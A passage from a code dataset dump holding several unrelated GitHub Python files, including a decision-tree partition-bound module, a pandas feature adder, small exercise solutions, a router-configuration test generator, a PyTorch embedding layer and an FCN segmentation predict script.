self.pfub_table[tree] = {}\n if (c, m, l) not in self.pfub_table[tree]:\n N = 0\n min_k = tree.left_subtree.n_leaves\n max_k = m - tree.right_subtree.n_leaves\n for k in range(min_k, max_k+1):\n # Modification 2: Since c = 2 is the most common use case, we give an optimized version, writing explicitely the sum over a and b.\n if c == 2:\n N += min(2*l, binom(m, k)) * (1\n + 2 * self._compute_upper_bound_tight(tree.left_subtree, 2, k, l)\n + 2 * self._compute_upper_bound_tight(tree.right_subtree, 2, m-k, l)\n + 2 * self._compute_upper_bound_tight(tree.left_subtree, 2, k, l) * self._compute_upper_bound_tight(tree.right_subtree, 2, m-k, l)\n )\n else:\n N += min(2*l, binom(m, k)) * sum(\n sum(\n binom(a, c - b) * binom(b, c - a) * factorial(a + b - c) *\n self._compute_upper_bound_tight(tree.left_subtree, a, k, l) *\n self._compute_upper_bound_tight(tree.right_subtree, b, m-k, l)\n for b in range(max(1,c-a), c+1)\n )\n for a in range(1, c+1)\n )\n\n if tree.left_subtree == tree.right_subtree:\n N /= 2\n\n # Modification 3: Add value to look up table.\n self.pfub_table[tree][n_parts, n_examples, n_features] = min(N, stirling(n_examples, n_parts))\n\n return self.pfub_table[tree][n_parts, n_examples, n_features]\n\n def _compute_upper_bound_loose(self, tree, n_parts, n_examples, n_features):\n \"\"\"\n Looser but faster implementation of Algorithm 1 of Appendix D of the paper. The corresponding equation can be found at the end of section 6.2.\n \"\"\"\n c, m, l = n_parts, n_examples, n_features\n\n if c > m or c > tree.n_leaves:\n return 0\n elif c == m or c == 1 or m == 1:\n return 1\n elif m <= tree.n_leaves:\n return stirling(m, c)\n if tree not in self.pfub_table:\n self.pfub_table[tree] = {}\n if (c, m, l) not in self.pfub_table[tree]:\n N = 0\n k_left = m - tree.right_subtree.n_leaves\n k_right = m - tree.left_subtree.n_leaves\n N = 0\n if c == 2:\n N += 2*l * (1\n + 2 * self._compute_upper_bound_loose(tree.left_subtree, 2, k_left, l)\n + 2 * self._compute_upper_bound_loose(tree.right_subtree, 2, k_right, l)\n + 2 * self._compute_upper_bound_loose(tree.left_subtree, 2, k_left, l) * self._compute_upper_bound_loose(tree.right_subtree, 2, k_right, l)\n )\n else:\n N += 2*l * sum(\n sum(\n binom(a, c - b) * binom(b, c - a) * factorial(a + b - c) *\n self._compute_upper_bound_loose(tree.left_subtree, a, k_left, l) *\n self._compute_upper_bound_loose(tree.right_subtree, b, k_right, l)\n for b in range(max(1,c-a), c+1)\n )\n for a in range(1, c+1)\n )\n N *= m - tree.n_leaves\n\n if tree.left_subtree == tree.right_subtree:\n N /= 2\n\n self.pfub_table[tree][c, m, l] = min(N, stirling(n_examples, n_parts))\n return self.pfub_table[tree][c, m, l]\n\n def __call__(self, n_examples, n_parts=2):\n \"\"\"\n Args:\n n_examples (int): Number of examples. Corresponds to the variable 'm' in the paper.\n n_parts (int): Number of parts. Corresponds to the variable 'c' in the paper.\n \"\"\"\n if self.loose:\n return self._compute_upper_bound_loose(self.tree, n_parts, n_examples, self.n_features)\n else:\n return self._compute_upper_bound_tight(self.tree, n_parts, n_examples, self.n_features)\n\n\n\ndef partitioning_function_upper_bound(tree, n_parts, n_examples, n_features):\n \"\"\"\n Args:\n tree (Tree object): Tree structure for which to compute the bound.\n n_parts (int): Number of parts in the partitions. Corresponds to the variable 'c' in the paper.\n n_examples (int): Number of examples. Corresponds to the variable 'm' in the paper.\n n_features (int): Number of real-valued features. Corresponds to the variable '\\ell' in the paper.\n \"\"\"\n pfub = PartitioningFunctionUpperBound(tree, n_features)\n return pfub(n_examples, n_parts)\n\n\ndef growth_function_upper_bound(tree, n_features, n_classes=2, pre_computed_tables=None, loose=False):\n pfub = PartitioningFunctionUpperBound(tree, n_features, pre_computed_tables, loose=loose)\n def upper_bound(n_examples):\n max_range = min(n_classes, tree.n_leaves, n_examples)\n return sum(ff(n_classes, n)*pfub(n_examples, n) for n in range(1, max_range+1))\n return upper_bound","repo_name":"jsleb333/paper-decision-trees-as-partitioning-machines","sub_path":"partitioning_machines/partitioning_function_upper_bound.py","file_name":"partitioning_function_upper_bound.py","file_ext":"py","file_size_in_byte":7485,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"35812595324","text":"\"\"\" \n \n The variable_adder Python module adds variable to an Enron\n pandas dataframe as per the instruction provided into an \n adder dictionary. An adder dictionary is formatted as follows:\n\n adder_dictionary = {'ratio' :\n {'bonus_ratio': ['bonus', 'salary'],\n 'expenses_ratio' : ['expenses', 'salary'],\n 'payments_ratio' : ['total_payments', 'salary'],\n 'from_poi_ratio' : ['from_poi_to_this_person',\n 'to_messages'],\n 'to_poi_ratio' : ['from_this_person_to_poi',\n 'from_messages'],\n 'shared_with_poi_ratio' : ['shared_receipt_with_poi',\n 'to_messages']},\n 'additive' : {'wealth' : ['salary',\n 'bonus',\n 'total_stock_value']}}\n\n The adder dictionary above adds a total of 7 variables to a\n dataframe. Variables are of two types.\n\n Ratio variables are simply the ration between a numerator\n and denominator. For example, the new variable bonus_ratio\n will be the ratio of bonus vs salary.\n\n Additive variables are the sum of two or more variables.\n The wealth variable will be the sum of salary, bonus and\n total_stock_value.\n\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\n\n##################################\n# ~~~~~~~~~~~~~~ ADD RATIO ~~~~~~~\n\ndef add_ratio(dataframe, new_var, numerator, denominator):\n \n \"\"\"\n \n This function add a ratio variable to a dataframe.\n\n Args:\n - dataframe: a pandas dataframe\n - new_var: a string, i.e. the name of the new\n variable\n - numberator: a string, i.e. the name of the variable\n which is the numerator of the ratio\n variable\n - denominator: a string, i.e. the name of the variable\n which is the denominator of the ratio\n variable\n\n Returns:\n - dataframe: a pandas dataframe after having added the\n ratio variable\n \n \"\"\"\n \n dataframe[new_var] = dataframe[numerator] / dataframe[denominator]\n \n return dataframe\n\n##################################\n# ~~~~~~~~~~~~~~ ADD ADDITIVE ~~~~\n\ndef add_additive(dataframe, new_var, variables, replace_nan = True):\n \n \"\"\"\n \n This function add an additive variable to a dataframe.\n\n Args:\n - dataframe: a pandas dataframe\n - new_var: a string, i.e. the name of the new\n variable\n - variables: a list of variables to be added\n - replace_nan: a boolean. If true, NaN values are\n replaced by 0 (so that the sum is not\n NaN by default)\n\n Returns:\n - dataframe: a pandas dataframe after having added the\n additive variable\n \n \"\"\"\n \n # Initialise dataset[new_var] as a series of all zero values\n dataframe[new_var] = 0\n \n if replace_nan:\n \n for variable in variables:\n \n dataframe[new_var] = dataframe[new_var] \\\n + dataframe[variable].fillna(0)\n \n else:\n \n for variable in variables:\n \n dataframe[new_var] = dataframe[new_var] \\\n + dataframe[variable]\n \n return dataframe\n\n\n##################################\n# ~~~~~~~~~~~~~~ LOG_SQRT_ADDER\ndef log_sqrt_adder(dataframe, variable):\n\n \"\"\"\n\n This function add the log10 tranformed and sqrt-transformed\n of a given variables to a specific dataframe.\n\n Args:\n - dataframe: a pandas dataframe\n - variable: a string, i.e. the name of the variable for\n which log10 and sqrt transformations will\n be added\n\n Returns:\n - dataframe: a pandas dataframe after having added the\n log10 and sqrt variables\n\n \"\"\"\n\n dataframe['log_' + variable] = np.log10(dataframe[variable])\n dataframe['sqrt_' + variable] = np.sqrt(dataframe[variable])\n\n return dataframe\n\n\n\n##################################\n# ~~~~~~~~~~~~~~ ADD ALL ~~~~~~~~~\ndef add_all(dataframe, adder_dictionary, log_sqrt):\n \n \"\"\"\n This function returns a pandas dataframe after having\n added new features as specified in the adder dictionary.\n\n Args:\n - dataframe: a pandas dataframe\n - adder_dictionary: a Python dictionary specifying\n instructions on variables to add\n - log_sqrt: a Python of variables for which log10 and\n sqrt transformations are added to the\n dataframe\n\n Returns:\n - dataframe: a pandas dataframe with the added variables\n \n \"\"\"\n \n for adder, instruction in adder_dictionary.items():\n \n if adder == 'ratio':\n \n for key, variables in instruction.items():\n \n dataframe = add_ratio(dataframe,\n key,\n variables[0],\n variables[1])\n \n if adder == 'additive':\n \n for key, variables in instruction.items():\n \n dataframe = add_additive(dataframe,\n key,\n variables)\n \n \n if log_sqrt:\n\n for variable in log_sqrt:\n\n dataframe = log_sqrt_adder(dataframe,\n variable)\n\n # Replace -inf values with zero\n dataframe = dataframe.replace(-np.inf, 0)\n\n return dataframe\n","repo_name":"gcmsrc/Intro-to-Machine-Learning-Data-Analyst-ND","sub_path":"tools/variable_adder.py","file_name":"variable_adder.py","file_ext":"py","file_size_in_byte":5997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26842696174","text":"def main():\n height = get_height()\n\n # ignore index 0 from range function and go up to entered height plus 1\n for count in range(1, height + 1):\n spaces = \" \" * (height - count)\n hash_prints = \"#\" * count\n\n # print pyramid - left spaces, left hashes #, 2 spaces, right hashes #\n print(spaces + hash_prints + \" \" + hash_prints)\n \"\"\"\n print(spaces, end='')\n print(\"#\" * count, end='')\n print(\" \", end='')\n print(\"#\" * count)\n \"\"\"\n\n\ndef get_height():\n while True:\n try:\n # trying to cast input by user, if fail to cast input\n # to an integer, then just loop until a valid input is entered.\n height = int(input(\"Height: \"))\n\n except ValueError:\n continue\n\n\n if height > 0 and height < 9:\n return height\n\n\nmain()","repo_name":"shipcore/python","sub_path":"cs50/mario-more/mario-more.py","file_name":"mario-more.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38787947683","text":"\"\"\"\nListing 2.20\n\nThe elements() method returns an iterator that produces all of the items\nknown to the Counter\n\nThe order of elements is not guaranteed and items with counts less than\nor equal to zero are not included\n\"\"\"\nimport collections\n\n\ndef main():\n c = collections.Counter(\"extremely\")\n c[\"z\"] = 0\n print(c)\n print(list(c.elements()))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"8563a236e65cede7b14220e65c70ad5718144a3/python3-standard-library-solutions","sub_path":"Chapter02/0020_collections_counter_elements.py","file_name":"0020_collections_counter_elements.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"5712286184","text":"'''Thomas Whitzer 159005085'''\n\n\ndef is_leap(yr):\n\n '''\n takes in yr: returns if it is a leapyear\n '''\n\n if 0 == yr % 400:\n return (True)\n elif 0 == yr % 4 and yr % 100 != 0:\n return (True)\n else:\n return (False)\n\ndef monthdays(yr, mon):\n\n '''\n takes in yr, mon: returns number of days in month\n '''\n largeMon = [1,3,5,7,8,10,12]\n smallMon = [4,6,9,11]\n feb = 2\n if is_leap(yr) == True and mon== 2:\n return 29\n elif mon in smallMon:\n return 30\n elif mon in largeMon:\n return 31\n else:\n return 28\n\ndef yeardays(yr):\n\n '''\n takes in yr: returns number of days in year\n '''\n\n if is_leap(yr) == True:\n return 366\n else:\n return 365\n\ndef wkday_on_first(yr, mon):\n\n '''\n given yr and mon: returns day of the week of the 1st of the month\n '''\n\n number_of_days_in_year = []\n days_to_year = []\n days_of_the_week = {0: 'Tuesday', 1: 'Wednesday', 2: 'Thursday', 3: 'Friday',\n 4: 'Saturday', 5: 'Sunday', 6: 'Monday'}\n\n for p in range(1, mon):\n number_of_days_in_year.append(monthdays(yr, p))\n days_in_yrmonth = sum(number_of_days_in_year)\n\n for i in range(1754, yr):\n days_to_year.append(yeardays(i))\n days_inbetween = sum(days_to_year)\n days = (days_inbetween+days_in_yrmonth) % 7\n\n return days_of_the_week[days]\n\n\ndef print_calendar(yr, mon):\n '''\n Doc string\n '''\n\n months = {1: 'January', 2: ' February', 3: 'March', 4: 'April', 5: 'May', 6: 'June', 7: 'July',\n 8: 'August', 9: 'September', 10: 'October', 11: 'November', 12: 'December'}\n weekdays = ['Su', 'Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa']\n day_of_week = wkday_on_first(yr, mon)\n l = ['Sunday', 'Monday', 'Tuesday','Wednesday','Thursday','Friday','Saturday']\n\n if mon < 1 or mon > 12:\n mon = int(input('Please chose a number between 1 and 12 '))\n print_calendar(yr, mon)\n elif yr <1754:\n yr = int(input('Please type a year greater than or equal to 1754 '))\n print_calendar(yr, mon)\n else:\n print(str(yr).center(30))\n print(months[mon].center(30), '\\n')\n print(' '.join(weekdays).center(30))\n\n\n j = l.index(day_of_week)\n print(' '.center(5), end = '')\n for i in range(j): \n print(' '.rjust(2), end = ' ') \n \n day_counter = 1\n while day_counter <= monthdays(yr, mon):\n for i in range(6):\n if i == 0:\n '''top row'''\n for e in range(7-j):\n print(str(day_counter).rjust(2), end = ' ') \n day_counter += 1\n print('\\n', ' '.center(3), end = '')\n elif i == 5:\n '''end line'''\n for e in range(7):\n if day_counter <= monthdays(yr, mon):\n print(str(day_counter).rjust(3), end = '')\n day_counter += 1\n else:\n break\n print('\\n', ' '.center(3), end = '')\n else:\n '''middle row'''\n for e in range(7):\n if day_counter <= monthdays(yr, mon):\n print(str(day_counter).rjust(3), end = '')\n day_counter += 1\n else:\n break\n print('\\n', ' '.center(3), end = '')\n \n\n \n\n\n\n\n\n","repo_name":"TomTomW/mayaScripts","sub_path":"scripts_from_school/problem12.py","file_name":"problem12.py","file_ext":"py","file_size_in_byte":3563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4435555548","text":"import sys;f=sys.stdin\nsys.setrecursionlimit(9999999)\ndbg = 1\nif dbg: f=open(\"input3.txt\",'r')\nt = int(f.readline())\nMAX_VAL = 99999\n\nBOTH = 0\nUP = 1\nDOWN = 2\n\n# Case 1,2,3 에 대한 dp\nfor _ in range(t):\n dp = [ [MAX_VAL,MAX_VAL,MAX_VAL] for _ in range(11011) ]\n n,w = map(int,(f.readline().split()))\n arr1 = list(map(int,f.readline().split()))\n arr2 = list(map(int,f.readline().split()))\n\n def get_min_count(idx, dir):\n if idx == 0:\n if BOTH == dir:\n if arr1[idx] + arr2[idx] <= w: # 위아래를 둘다 합쳐본다.\n val = 1 \n dp[0][BOTH] = min(dp[0][BOTH], 1)\n else:\n val = 2 # 2부대 투입 \n dp[0][BOTH] = min(dp[0][BOTH], 2)\n else:\n val = 1 # 윗 혹은 아래 한칸만 쓰므로\n dp[0][dir] = 1\n return val\n if dp[idx][dir] != MAX_VAL: return dp[idx][dir]\n\n val = 0\n\n if arr1[idx] + arr2[idx] <= w: # 위아래를 둘다 합쳐본다.\n val = 1 # 1개로 처리 가능\n else:\n val = 2 # 2부대 투입\n dp[idx][BOTH] = min(dp[idx][BOTH],get_min_count(idx-1, BOTH) + val)\n if 0 < idx \\\n and arr1[idx-1] + arr1[idx] <= w\\\n and arr2[idx-1] + arr2[idx] <= w:\n if idx == 1: # 가로 막대 2개로 2칸뛰기\n x = 0\n else: \n x = get_min_count(idx-2, BOTH)\n dp[idx][BOTH] = min(dp[idx][BOTH],x + 2)\n\n if arr1[idx-1] + arr1[idx] <= w: # 위만 합쳐 본다.\n count2 = get_min_count(idx-1, DOWN) + 1 # 왼쪽칸과 합체\n dp[idx][UP] = min(dp[idx][UP], count2)\n count2 = get_min_count(idx-1, BOTH) + 1 # 한칸 그냥 추가\n dp[idx][UP] = min(dp[idx][UP], count2)\n\n if arr2[idx-1] + arr2[idx] <= w: # 아래만 합쳐본다.\n count3 = get_min_count(idx-1, UP) + 1 # 왼쪽칸과 합체 \n dp[idx][DOWN] = min(dp[idx][DOWN], count3)\n count3 = get_min_count(idx-1, BOTH) + 1 # 한칸 그냥 추가\n dp[idx][DOWN] = min(dp[idx][DOWN], count3)\n\n\n if idx == (n-1): # 마지막\n # 끝과 끝 도넛으로 연결 하기 : 위아래 물리지 않는 경우에만.\n if (arr1[0] + arr1[-1] <= w):\n if 2 < dp[(idx+2)%n][DOWN]:# 비용이 더 저렴할때\n dp[idx][BOTH] = min(dp[idx][BOTH],dp[idx][DOWN]+1)\n if (arr2[0] + arr2[-1] <= w):\n if 2 < dp[(idx+2)%n][UP]:# 비용이 더 저렴할때\n dp[idx][BOTH] = min(dp[idx][BOTH],dp[idx][UP]+1)\n \n min_lr = min(get_min_count(idx,UP), get_min_count(idx,DOWN)) + 1 # 이렇게 하면 위아래를 더 싸게 채울 수도 있다.\n if (min_lr) < dp[idx][BOTH]:\n dp[idx][BOTH] = (min_lr)\n \n rtv = dp[idx][dir]\n return rtv\n\n for i in range(n):\n get_min_count(i, BOTH)\n\n print(dp[n-1][0])\n","repo_name":"myhyper/boj","sub_path":"1006/fourth.py","file_name":"fourth.py","file_ext":"py","file_size_in_byte":3052,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37337206547","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Mostly from https://github.com/OpenNMT/OpenNMT-py\n# Most Code in load/save word2vec format refer to Gensim\nimport torch\nimport torch.nn as nn\nfrom utils import load_word2vec_format, aeq\n\nclass Embeddings(nn.Module):\n\n def __init__(self,\n word_vec_size,\n dicts,\n feat_merge='concat',\n feat_vec_exponent=0.7,\n feature_dicts=None,\n feature_dims=None):\n \"\"\"\n :param word_vec_size: Word Embedding Size\n :param dicts: Word Dict\n :param feat_merge: Merge action for the features embeddings.\n :param feat_vec_exponent:\n When features embedding sizes are not set and using -feat_merge concat,\n their dimension will be set to N^feat_vec_exponent where N is the number\n of values the feature takes\n :param feature_dicts:\n \"\"\"\n super(Embeddings, self).__init__()\n\n self.word_dict = dicts\n self.word_vec_size = word_vec_size\n self.feat_exp = feat_vec_exponent\n self.feat_merge = feat_merge\n\n # vocab_sizes: sequence of vocab sizes for words and each feature\n vocab_sizes = [self.word_dict.size()]\n\n # emb_sizes\n emb_sizes = [self.word_vec_size]\n if feature_dicts is not None and len(feature_dicts) > 0:\n vocab_sizes.extend(feat_dict.size() for feat_dict in feature_dicts)\n if self.feat_merge == 'concat':\n # Derive embedding sizes from each feature's vocab size\n emb_sizes.extend([int(feature_dim) for feature_dim in feature_dims])\n elif self.feat_merge == 'sum':\n # All embeddings to be summed must be the same size\n emb_sizes.extend(feature_dims)\n else:\n # TODO MLP\n raise NotImplementedError\n\n # Embedding Lookup Tables\n # [word_embedd, ...\n # other embedding if has]\n self.emb_luts = nn.ModuleList([\n nn.Embedding(vocab, dim, padding_idx=self.word_dict.lookup(self.word_dict.pad_token))\n for vocab, dim in zip(vocab_sizes, emb_sizes)])\n\n self.init_model()\n\n self.output_size = self.embedding_size()\n\n def embedding_size(self):\n \"\"\"\n Returns sum of all feature dimensions if the merge action is concat.\n Otherwise, returns word vector size.\n \"\"\"\n if self.feat_merge == 'concat':\n return sum(emb_lut.embedding_dim\n for emb_lut in self.emb_luts.children())\n else:\n return self.word_lookup_table.embedding_dim\n\n @property\n def word_lookup_table(self):\n return self.emb_luts[0]\n\n def init_model(self):\n for emb_table in self.emb_luts:\n emb_table.weight.data.normal_(0, 0.1)\n\n def load_pretrained_vectors(self, emb_file, binary=True, normalize=False):\n if emb_file is not None:\n pretrained, vec_size, vocab = load_word2vec_format(emb_file, self.word_dict.word2index,\n binary=binary, normalize=normalize)\n\n # Init Out-of-PreTrain Wordembedding using Min,Max Uniform\n scale = torch.std(pretrained)\n # random_range = (torch.min(pretrained), torch.max(pretrained))\n random_range = (-scale, scale)\n random_init_count = 0\n for word in self.word_dict:\n\n if word not in vocab:\n random_init_count += 1\n nn.init.uniform(pretrained[self.word_dict.lookup(word)],\n random_range[0], random_range[1])\n\n self.word_lookup_table.weight.data.copy_(pretrained)\n print(\"Init %s words in uniform [%s, %s]\" % (random_init_count, random_range[0], random_range[1]))\n return pretrained\n\n def merge(self, features):\n if self.feat_merge == 'concat':\n return torch.cat(features, 2)\n elif self.feat_merge == 'sum':\n return sum(features)\n else:\n return self.mlp(torch.cat(features, 2))\n\n def forward(self, inp):\n \"\"\"\n Return the embeddings for words, and features if there are any.\n Args:\n inp (LongTensor): batch x len x nfeat\n Return:\n emb (Tensor): batch x len x self.embedding_size\n \"\"\"\n if inp.dim() == 2:\n # batch x len\n emb = self.word_lookup_table(inp)\n return emb\n\n in_batch, in_length, nfeat = inp.size()\n aeq(nfeat, len(self.emb_luts))\n\n if len(self.emb_luts) == 1:\n emb = self.word_lookup_table(inp.squeeze(2))\n else:\n feat_inputs = (feat.squeeze(2)\n for feat in inp.split(1, dim=2))\n features = [lut(feat)\n for lut, feat in zip(self.emb_luts, feat_inputs)]\n emb = self.merge(features)\n\n out_batch, out_length, emb_size = emb.size()\n aeq(in_batch, out_batch)\n aeq(in_length, out_length)\n aeq(emb_size, self.embedding_size())\n\n return emb\n","repo_name":"quyingqi/kbqa-ar-smcnn","sub_path":"tools/embedding.py","file_name":"embedding.py","file_ext":"py","file_size_in_byte":5276,"program_lang":"python","lang":"en","doc_type":"code","stars":144,"dataset":"github-code","pt":"48"} +{"seq_id":"19032474853","text":"osoba = [\"pamela\", \"anderson\", 50]\r\n\r\nosoba_str = [str(dane) for dane in osoba]\r\n\r\nprint(osoba_str)\r\n\r\ndane_zapis = \",\".join(osoba_str)\r\n\r\nwith open('osoby.txt', \"a\") as plik:\r\n plik.write(dane_zapis + \"\\n\")","repo_name":"marcinpgit/Python_days","sub_path":"day7/csv_write.py","file_name":"csv_write.py","file_ext":"py","file_size_in_byte":210,"program_lang":"python","lang":"hr","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30614312815","text":"# QUESTION URL: https://www.hackerrank.com/challenges/mars-exploration/problem\n# STATUS: Accepted\n\ns = input()\nsos = 'SOS'\nn = len(s)\ncount = 0\nfor i in range(n):\n if not s[i] == sos[i%3]:\n count += 1\nprint(count)\n","repo_name":"Yash2003Bisht/ProblemSolutions","sub_path":"solutions/hackerrank/Mars_Exploration/Mars_Exploration_1.py","file_name":"Mars_Exploration_1.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"1116568987","text":"# n = int(input())\n\n# toone = [0,0,1,1]+[0 for _ in range(n)]\n# cnt = []\n# for i in range(4,n+1):\n# if i%3==0:\n# toone[i]=toone[i//3]+1\n# cnt.append(i//3)\n# elif i%2==0:\n# toone[i]=toone[i//2]+1\n# cnt.append(i//2)\n# else:\n# toone[i]=toone[i-1]+1\n# cnt.append(i-1)\n\n# print(toone[n])\n# print(*cnt)\n\nn = int(input())\nd = [0,0]\npre = [0,0]\n\nfor i in range(2,n+1):\n d.append(d[i-1]+1)\n pre.append(i-1)\n if i%2==0 and d[i]>d[i//2]+1:\n d[i] = d[i//2]+1\n pre[i] = i//2\n if i%3==0 and d[i]>d[i//3]+1:\n d[i] = d[i//3]+1\n pre[i] = i//3\nprint(d[n])\ncur = n\nwhile True:\n print(cur)\n if cur==1: break\n cur = pre[cur]","repo_name":"asdfqrt/barkingdog","sub_path":"14강 다이나믹 프로그래밍/1로 만들기 2.py","file_name":"1로 만들기 2.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31927589726","text":"import os\nimport sys\nimport _magic\n\nUSAGE = (\"Adds interfaces to the current fief selection.\\n\\n\"\n \"usage: fief select [-v] [-c] ifc [ifc ...]\")\n\ndef main(ns, rc):\n \"\"\"Adds interfaces to a fief selection.\"\"\"\n selection = _magic.env_selection()\n selection |= set(ns.ifcs)\n env = {'FIEF_SELECTION': ' '.join(sorted(selection))}\n if ns.verbose:\n sys.stderr.write(\"current interface selection: \" + ' '.join(selection) + '\\n')\n _magic.exportvars(env)\n return 0\n","repo_name":"scopatz/fief","sub_path":"fief/cli/select.py","file_name":"select.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"1403667311","text":"import random\n\nimport pict_model_generator\n\n\ndef translate_args(row_features):\n \"\"\"\n Translates arguments which are specified as index in the list of possible values to actual parameter values\n :param row_features: row dictionary mapping (router, feature, arg) triplets to parameter indices\n :return: row_features where the indices are replaced by the value of the possible arguments for the particular\n feature at the specific index\n \"\"\"\n args = {}\n\n for (router, feature, arg) in row_features:\n if row_features[router, feature, arg] == -1:\n args[router, feature, arg] = -1\n else:\n args[router, feature, arg] = router.get_possible_args()[feature][row_features[router, feature, arg]]\n\n return args\n\n\nclass TestGenerationEngine:\n\n \"\"\"\n General test generation engine for use with Metha\n \"\"\"\n\n def __init__(self, features, possible_args):\n self.index = 0\n self.features = features\n self.possible_args = possible_args\n\n def generate(self):\n \"\"\"\n Performs initial preprocessing steps to test generation where applicable\n \"\"\"\n raise NotImplementedError\n\n def next_test(self):\n \"\"\"\n Generates the next test and returns it as a mapping of (router, feature, arg) triplets to parameter values\n \"\"\"\n raise NotImplementedError\n\n\nclass RandomTestGenerator(TestGenerationEngine):\n\n \"\"\"\n Random test generator. This is used for the semantic Metha baseline in the Metha paper.\n \"\"\"\n\n def __init__(self, features, possible_args, num_tests):\n \"\"\"\n\n :param features: (router, feature, arg) triplets used by this generator\n :param possible_args: boundary values for all features\n :param num_tests: number of tests to generate\n \"\"\"\n super().__init__(features, possible_args)\n self.num_tests = num_tests\n\n def generate(self):\n \"\"\"\n No preprocessing necessary for random generation\n \"\"\"\n pass\n\n def next_test(self):\n \"\"\"\n Randomly assigns parameter values from the entire parameter space\n :return: Argument dictionary or None if we generated all tests\n \"\"\"\n if self.index < self.num_tests:\n args = {(router, f, arg): random.choices([-1, router.get_random_args()[f]], weights=[10, 1])[0] for\n (router, f, arg) in self.features}\n self.index = self.index + 1\n return args\n else:\n return None\n\n\nclass BoundedTestGenerator(TestGenerationEngine):\n\n \"\"\"\n Test generator which randomly assigns parameter values from the boundary value space.\n Corresponds to bounded Metha in the Metha paper.\n \"\"\"\n\n def __init__(self, features, possible_args, num_tests):\n \"\"\"\n\n :param features: (router, feature, arg) triplets used by this generator\n :param possible_args: possible boundary values for all features\n :param num_tests: number of tests to generate\n \"\"\"\n super().__init__(features, possible_args)\n self.num_tests = num_tests\n\n def generate(self):\n \"\"\"\n No preprocessing necessary, tests are generated at random\n \"\"\"\n pass\n\n def next_test(self):\n \"\"\"\n Randomly assigns parameter values from the boundary value space and returns the assignment\n :return: Argument dictionary assigning values to all features or None if all tests have been generated\n \"\"\"\n if self.index < self.num_tests:\n row_features = {(router, f, arg): random.choices([-1, random.randrange(0, len(self.possible_args[f]))],\n weights=[10, 1])[0]\n for (router, f, arg) in self.features}\n args = translate_args(row_features)\n self.index = self.index + 1\n return args\n else:\n return None\n\n\nclass CombinatorialTestGenerator(TestGenerationEngine):\n\n \"\"\"\n Combinatorial test generator. Corresponds to full Metha in the Metha paper.\n \"\"\"\n\n def __init__(self, features, possible_args, pict_model, pict_output):\n \"\"\"\n\n :param features: (router, feature, arg) triplets used by this generator\n :param possible_args: possible boundary values for all features\n :param pict_model: location where the PICT model is saved to disk\n :param pict_output: location where the PICT output is saved to disk\n \"\"\"\n super().__init__(features, possible_args)\n self.str_features = None\n self.pict_matrix = None\n self.pict_model = pict_model\n self.pict_output = pict_output\n\n def generate(self):\n \"\"\"\n Generate the PICT model according to self.features and self.possible_args, call PICT and read output\n \"\"\"\n possible_values = pict_model_generator.generate_model(self.features, self.possible_args)\n self.str_features = pict_model_generator.write_model(self.pict_model, possible_values)\n self.pict_matrix = pict_model_generator.call_pict(self.pict_model, self.pict_output)\n\n def next_test(self):\n \"\"\"\n Get the next test from the PICT results\n :return: Parameter values assignment for all features or None if the entire PICT matrix has been processed\n \"\"\"\n if self.index < len(self.pict_matrix.index):\n row = self.pict_matrix.iloc[self.index]\n row_features = {f: int(row[self.str_features[f]]) for f in self.features}\n args = translate_args(row_features)\n self.index = self.index + 1\n return args\n else:\n return None\n","repo_name":"nsg-ethz/Metha","sub_path":"test_generator.py","file_name":"test_generator.py","file_ext":"py","file_size_in_byte":5705,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"48"} +{"seq_id":"32550004466","text":"'''\r\n预测语义分割\r\n'''\r\nimport os\r\nimport torch\r\nimport cv2\r\nimport voc_data\r\nimport fcn_model\r\nimport random\r\nimport fcn_utils\r\n\r\n\r\nn_class = 21\r\n\r\n\r\ndef main(root):\r\n '''\r\n 预测主函数\r\n :param root: 图片路径\r\n :return:\r\n '''\r\n path = os.getcwd() + \"/images/\"\r\n dataset = voc_data.VOCClassSegClass(root,transform=True)\r\n vgg_model = fcn_model.VGGNET()\r\n f_model = fcn_model.FCN8S(pretrained_net=vgg_model,n_class = n_class)\r\n f_model.load_state_dict(torch.load('./pretrained_models/modelXXX.pth',map_location='cpu'))\r\n\r\n f_model.eval()\r\n\r\n for i in range(len(dataset)):\r\n idx = random.randrange(0,len(dataset))\r\n img,label = dataset[idx]\r\n img_name = str(i)\r\n\r\n img_src,_ = dataset.untransform(img,label)\r\n cv2.imwrite(path+'image%s_src.jpg'%img_name,img_src)\r\n fcn_utils.label2png(label,path+'image/%s_label.png'%img_name)\r\n\r\n out = f_model(img)\r\n\r\n net_out = out.data.max(1)[1].squeeze_(0)\r\n\r\n fcn_utils.label2png(net_out,path + 'image/%s_out.png'%img_name)\r\n\r\n if i == 20:\r\n break\r\n\r\n\r\nif __name__ == '__main__':\r\n print(os.getcwd()+'/images/')\r\n","repo_name":"soarflighting/FCN_Segmentation","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"31544568696","text":"from src.infra.db.repositories.user_repository_interface import UserRepositoryInterface\nfrom typing import List, Dict\n\n\nclass UserRepositoryMock(UserRepositoryInterface):\n def __init__(self):\n self.get_user_attributes = 